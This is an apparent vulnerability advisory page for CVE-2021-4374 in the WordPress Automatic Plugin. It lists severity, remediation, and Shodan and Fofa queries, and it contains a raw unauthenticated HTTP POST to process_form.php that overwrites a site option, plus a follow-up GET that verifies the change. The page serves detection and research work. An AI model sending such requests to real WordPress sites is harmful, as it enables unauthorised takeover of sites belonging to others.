| Title | WordPress Automatic Plugin - Unauthenticated Options Change |
|---|---|
| Author | intelligent-ears |
| Severity | Critical |
| Impact | Unauthenticated attackers can update arbitrary WordPress options via process_form.php, enabling them to create administrator accounts, modify critical settings, or completely compromise the WordPress site. |
| Remediation | Upgrade to WordPress Automatic Plugin version 3.53.3 or later, or deactivate and delete the plugin. |
| CVSS Score | 9.8 |
| EPSS Score | 0.70297 |
| CVE ID | CVE-2021-4374 |
| CWE ID | CWE-862 |
| Shodan Query | http.html:"wp-content/plugins/wp-automatic/" |
| Fofa Query | wp-content/plugins/wp-automatic/ |
| Tags | cve cve2021 wp wordpress wp-plugin wp-automatic unauth intrusive vkev |
WordPress Automatic Plugin (versions 3.53.2 and below) contains a critical vulnerability that allows unauthenticated users to change arbitrary WordPress options through the process_form.php script. The vulnerable script uses update_option() on all POST parameters without authentication or capability checks, allowing attackers to create administrator accounts or modify critical settings. The vulnerability can be exploited even if the plugin is deactivated as it’s a standalone script.
POST /wp-content/plugins/wp-automatic/process_form.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1 Mobile/15E148 Safari/604.1
Connection: close
Content-Length: 126
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
field1=38FOKZeaTZERssvacCDZ0ZQjt6u&field3=test&field4=test&field5=test&field6=test&blogdescription=38FOKZeaTZERssvacCDZ0ZQjt6u
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-4374.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-4374.pcap
N/AN/A